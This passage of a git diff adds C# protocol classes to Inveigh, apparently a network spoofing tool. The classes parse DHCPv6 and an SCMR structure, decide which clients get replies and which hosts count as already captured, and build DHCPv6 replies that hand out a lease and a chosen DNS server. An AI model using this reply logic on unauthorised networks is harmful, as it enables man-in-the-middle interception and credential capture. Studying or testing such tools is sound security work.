+ this.Client.IOControl((IOControlCode)SIO_UDP_CONNRESET, new byte[] { 0, 0, 0, 0 }, null);
+ }
+#endif
+
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/DCERPC/SCMR/SCMRROpenSCManagerW.cs b/Inveigh/Protocols/Quiddity/Protocols/DCERPC/SCMR/SCMRROpenSCManagerW.cs
new file mode 100644
index 0000000..2337915
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/DCERPC/SCMR/SCMRROpenSCManagerW.cs
@@ -0,0 +1,15 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SCMR
+{
+ public class SCMRROpenSCManagerW
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-scmr/dc84adb3-d51d-48eb-820d-ba1c6ca5faf2
+ public byte[] LpMachineName { get; set; }
+ public byte[] LpDatabaseName { get; set; }
+ public byte[] DwDesiredAccess { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/DHCPv6Checker.cs b/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/DHCPv6Checker.cs
new file mode 100644
index 0000000..568a892
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/DHCPv6Checker.cs
@@ -0,0 +1,150 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.DHCPv6
+{
+ class DHCPv6Checker
+ {
+ public string[] IgnoreMACs { get; set; }
+ public string[] ReplyToMACs { get; set; }
+ public IList<string> HostCaptures { get; set; }
+ public bool Enabled { get; set; }
+ public bool Inspect { get; set; }
+ public bool Repeat { get; set; }
+ public bool Microsoft { get; set; }
+ public bool Local { get; set; }
+ public string OutputReplyAllowed { get; set; }
+ public string OutputMessage { get; set; }
+ public string OutputInspect { get; set; }
+ public string OutputDisabled { get; set; }
+ public string OutputLocal { get; set; }
+ public string OutputHostDenied { get; set; }
+ public string OutputMACDenied { get; set; }
+ public string OutputVendorDenied { get; set; }
+ public string OutputIPDenied { get; set; }
+ public string OutputRepeat { get; set; }
+
+ public bool Check(string clientMAC, string clientHost, string listenerMAC, bool isMicrosoft)
+ {
+
+ if (this.Inspect)
+ {
+ this.OutputMessage = this.OutputInspect;
+ return false;
+ }
+ else if (!this.Enabled)
+ {
+ this.OutputMessage = this.OutputDisabled;
+ return false;
+ }
+ else if (!isMicrosoft)
+ {
+ this.OutputMessage = this.OutputVendorDenied;
+ return false;
+ }
+ else if (IsLocal(clientMAC, listenerMAC))
+ {
+ this.OutputMessage = this.OutputLocal;
+ return false;
+ }
+ else if (IsRepeat(clientHost))
+ {
+ this.OutputMessage = this.OutputRepeat;
+ return false;
+ }
+ else if (MACIsDenied(clientMAC))
+ {
+ this.OutputMessage = this.OutputMACDenied;
+ return false;
+ }
+ else if (!MACIsAllowed(clientMAC))
+ {
+ this.OutputMessage = this.OutputMACDenied;
+ return false;
+ }
+
+ this.OutputMessage = this.OutputReplyAllowed;
+ return true;
+ }
+
+ public bool IsRepeat(string host)
+ {
+ host = host.Split('.')[0].ToUpper();
+
+ if (!this.Repeat && this.HostCaptures.Contains(host))
+ {
+ return true;
+ }
+
+ return false;
+ }
+
+ public bool IsLocal(string clientMAC, string listenerMAC)
+ {
+
+ if (!this.Local && string.Equals(clientMAC, listenerMAC))
+ {
+ return true;
+ }
+
+ return false;
+ }
+
+ public bool MACIsDenied(string mac)
+ {
+
+ if (!Utilities.ArrayIsNullOrEmpty(this.IgnoreMACs) && (Array.Exists(this.IgnoreMACs, element => element == mac.Replace(":", "").ToUpper())))
+ {
+ return true;
+ }
+
+ return false;
+ }
+
+ public bool MACIsAllowed(string mac)
+ {
+
+ if (!Utilities.ArrayIsNullOrEmpty(this.ReplyToMACs) && (!Array.Exists(this.ReplyToMACs, element => element == mac.Replace(":","").ToUpper())))
+ {
+ return false;
+ }
+
+ return true;
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/DHCPv6Message.cs b/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/DHCPv6Message.cs
new file mode 100644
index 0000000..3412b0d
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/DHCPv6Message.cs
@@ -0,0 +1,86 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.DHCPv6
+{
+ class DHCPv6Message
+ {
+ // https://datatracker.ietf.org/doc/html/rfc3315#section-17.1.1
+ public byte MsgType { get; set; }
+ public byte[] TransactionID { get; set; } // 3 bytes
+ public byte[] Options { get; set; }
+
+ public DHCPv6Message()
+ {
+
+ }
+
+ public DHCPv6Message(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public void ReadBytes(byte[] data, int offset)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = offset;
+ this.MsgType = packetReader.ReadByte();
+ this.TransactionID = packetReader.ReadBytes(3);
+ this.Options = packetReader.ReadBytes(data.Length - 4);
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.BigEndianWrite(this.MsgType);
+ packetWriter.Write(this.TransactionID);
+ packetWriter.Write(this.Options);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/DHCPv6Packet.cs b/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/DHCPv6Packet.cs
new file mode 100644
index 0000000..b3bd457
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/DHCPv6Packet.cs
@@ -0,0 +1,222 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.DHCPv6
+{
+ class DHCPv6Packet
+ {
+ public DHCPv6Message Message { get; set; }
+ public DHCPv6Option1 Option1 { get; set; }
+ public DHCPv6Option2 Option2 { get; set; }
+ public DHCPv6Option3 Option3 { get; set; }
+ public DHCPv6Option6 Option6 { get; set; }
+ public DHCPv6Option8 Option8 { get; set; }
+ public DHCPv6Option14 Option14 { get; set; }
+ public DHCPv6Option16 Option16 { get; set; }
+ public DHCPv6Option23 Option23 { get; set; }
+ public DHCPv6Option24 Option24 { get; set; }
+ public DHCPv6Option39 Option39 { get; set; }
+
+ public DHCPv6Packet()
+ {
+
+ }
+
+ public DHCPv6Packet(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public DHCPv6Packet(byte[] data, int offset)
+ {
+ ReadBytes(data, offset);
+ }
+
+ public void ReadBytes(byte[] data, int offset)
+ {
+ this.Message = new DHCPv6Message(data);
+
+ if (!Utilities.ArrayIsNullOrEmpty(this.Message.Options))
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(this.Message.Options))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = offset;
+ DHCPv6Option option = new DHCPv6Option();
+ option.ReadBytes(this.Message.Options, 0);
+
+ while (option.OptionCode != 0 && memoryStream.Length - memoryStream.Position >= 4)
+ {
+ option.ReadBytes(this.Message.Options, (int)memoryStream.Position);
+
+ switch (option.OptionCode)
+ {
+ case 1:
+ this.Option1 = new DHCPv6Option1(this.Message.Options, (int)memoryStream.Position);
+ break;
+
+ case 2:
+ this.Option2 = new DHCPv6Option2(this.Message.Options, (int)memoryStream.Position);
+ break;
+
+ case 3:
+ this.Option3 = new DHCPv6Option3(this.Message.Options, (int)memoryStream.Position);
+ break;
+
+ case 6:
+ this.Option6 = new DHCPv6Option6(this.Message.Options, (int)memoryStream.Position);
+ break;
+
+ case 8:
+ this.Option8 = new DHCPv6Option8(this.Message.Options, (int)memoryStream.Position);
+ break;
+
+ case 14:
+ this.Option14 = new DHCPv6Option14(this.Message.Options, (int)memoryStream.Position);
+ break;
+
+ case 16:
+ this.Option16 = new DHCPv6Option16(this.Message.Options, (int)memoryStream.Position);
+ break;
+
+ case 23:
+ this.Option23 = new DHCPv6Option23(this.Message.Options, (int)memoryStream.Position);
+ break;
+
+ case 24:
+ this.Option24 = new DHCPv6Option24(this.Message.Options, (int)memoryStream.Position);
+ break;
+
+ case 39:
+ this.Option39 = new DHCPv6Option39(this.Message.Options, (int)memoryStream.Position);
+ break;
+ }
+
+ memoryStream.Position += option.OptionLen + 4;
+ }
+
+ }
+
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(this.Message.MsgType);
+ packetWriter.Write(this.Message.TransactionID);
+
+ if (this.Option8 != null)
+ {
+ packetWriter.Write(this.Option8.GetBytes());
+ }
+
+ if (this.Option1 != null)
+ {
+ packetWriter.Write(this.Option1.GetBytes());
+ }
+
+ if (this.Option2 != null)
+ {
+ packetWriter.Write(this.Option2.GetBytes());
+ }
+
+ if (this.Option3 != null)
+ {
+ packetWriter.Write(this.Option3.GetBytes());
+ }
+
+ if (this.Option23 != null)
+ {
+ packetWriter.Write(this.Option23.GetBytes());
+ }
+
+ if (this.Option24 != null)
+ {
+ packetWriter.Write(this.Option24.GetBytes());
+ }
+
+ if (this.Option39 != null)
+ {
+ packetWriter.Write(this.Option39.GetBytes());
+ }
+
+ if (this.Option16 != null)
+ {
+ packetWriter.Write(this.Option16.GetBytes());
+ }
+
+ if (this.Option6 != null)
+ {
+ packetWriter.Write(this.Option6.GetBytes());
+ }
+
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ public byte[] GetBytes(byte msgType, string leaseAddress, string listenerMAC, string dnsServer, string dnsSuffix, uint lifetime, DHCPv6Packet dhcpv6Packet)
+ {
+
+ this.Message = new DHCPv6Message
+ {
+ MsgType = msgType,
+ TransactionID = dhcpv6Packet.Message.TransactionID
+ };
+
+ this.Option1 = dhcpv6Packet.Option1;
+ this.Option2 = new DHCPv6Option2(listenerMAC);
+ this.Option3 = new DHCPv6Option3(leaseAddress, lifetime, dhcpv6Packet.Option3.IAID);
+ this.Option23 = new DHCPv6Option23(dnsServer);
+
+ if (!String.IsNullOrEmpty(dnsSuffix))
+ {
+ this.Option24 = new DHCPv6Option24(dnsSuffix);
+ }
+
+ return GetBytes();
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option.cs b/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option.cs
new file mode 100644
index 0000000..6e630d1
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option.cs
@@ -0,0 +1,39 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.DHCPv6
+{
+ class DHCPv6Option
+ {
+ public ushort OptionCode { get; set; }
+ public ushort OptionLen { get; set; }
+
+ public DHCPv6Option()
+ {
+
+ }
+
+ public DHCPv6Option(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public void ReadBytes(byte[] data, int index)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = index;
+ this.OptionCode = packetReader.BigEndianReadUInt16();
+ this.OptionLen = packetReader.BigEndianReadUInt16();
+ }
+
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option1.cs b/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option1.cs
new file mode 100644
index 0000000..cf34acc
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option1.cs
@@ -0,0 +1,88 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.DHCPv6
+{
+ class DHCPv6Option1 : DHCPv6Option
+ {
+ public byte[] DUID { get; set; }
+
+ public DHCPv6Option1()
+ {
+
+ }
+
+ public DHCPv6Option1(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public DHCPv6Option1(byte[] data, int index)
+ {
+ ReadBytes(data, index);
+ }
+
+ public new void ReadBytes(byte[] data, int index)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = index;
+ this.OptionCode = packetReader.BigEndianReadUInt16();
+ this.OptionLen = packetReader.BigEndianReadUInt16();
+ this.DUID = packetReader.ReadBytes(this.OptionLen);
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.BigEndianWrite(this.OptionCode);
+ packetWriter.BigEndianWrite(this.OptionLen);
+ packetWriter.Write(this.DUID);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option14.cs b/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option14.cs
new file mode 100644
index 0000000..6c50e47
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option14.cs
@@ -0,0 +1,86 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.DHCPv6
+{
+ class DHCPv6Option14 : DHCPv6Option
+ {
+
+ public DHCPv6Option14()
+ {
+ this.OptionCode = 14;
+ this.OptionLen = 0;
+ }
+
+ public DHCPv6Option14(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public DHCPv6Option14(byte[] data, int index)
+ {
+ ReadBytes(data, index);
+ }
+
+ public new void ReadBytes(byte[] data, int index)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = index;
+ this.OptionCode = packetReader.BigEndianReadUInt16();
+ this.OptionLen = packetReader.BigEndianReadUInt16();
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(this.OptionCode);
+ packetWriter.Write(this.OptionLen);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option16.cs b/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option16.cs
new file mode 100644
index 0000000..606ee13
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option16.cs
@@ -0,0 +1,90 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.DHCPv6
+{
+ class DHCPv6Option16 : DHCPv6Option
+ {
+ public uint EnterpriseNumber { get; set; }
+ public byte[] VendorClassData { get; set; }
+
+ public DHCPv6Option16()
+ {
+
+ }
+
+ public DHCPv6Option16(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public DHCPv6Option16(byte[] data, int index)
+ {
+ ReadBytes(data, index);
+ }
+
+ public new void ReadBytes(byte[] data, int index)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = index;
+ this.OptionCode = packetReader.BigEndianReadUInt16();
+ this.OptionLen = packetReader.BigEndianReadUInt16();
+ this.EnterpriseNumber = packetReader.BigEndianReadUInt32();
+ this.VendorClassData = packetReader.ReadBytes(this.OptionLen - 8);
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(this.OptionCode);
+ packetWriter.Write(this.OptionLen);
+ packetWriter.Write(this.EnterpriseNumber);
+ packetWriter.Write(this.VendorClassData);
+ return memoryStream.ToArray();
+ }
+
+ }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option2.cs b/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option2.cs
new file mode 100644
index 0000000..6abb125
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option2.cs
@@ -0,0 +1,95 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.DHCPv6
+{
+ class DHCPv6Option2 : DHCPv6Option
+ {
+ public byte[] DUID { get; set; }
+
+ public DHCPv6Option2()
+ {
+
+ }
+
+ public DHCPv6Option2(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public DHCPv6Option2(byte[] data, int index)
+ {
+ ReadBytes(data, index);
+ }
+
+ public DHCPv6Option2(string mac)
+ {
+ DHCPv6DUIDLL duid = new DHCPv6DUIDLL(mac);
+ this.OptionCode = 2;
+ this.DUID = duid.GetBytes();
+ this.OptionLen = (ushort)this.DUID.Length;
+ }
+
+ public new void ReadBytes(byte[] data, int index)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = index;
+ this.OptionCode = packetReader.BigEndianReadUInt16();
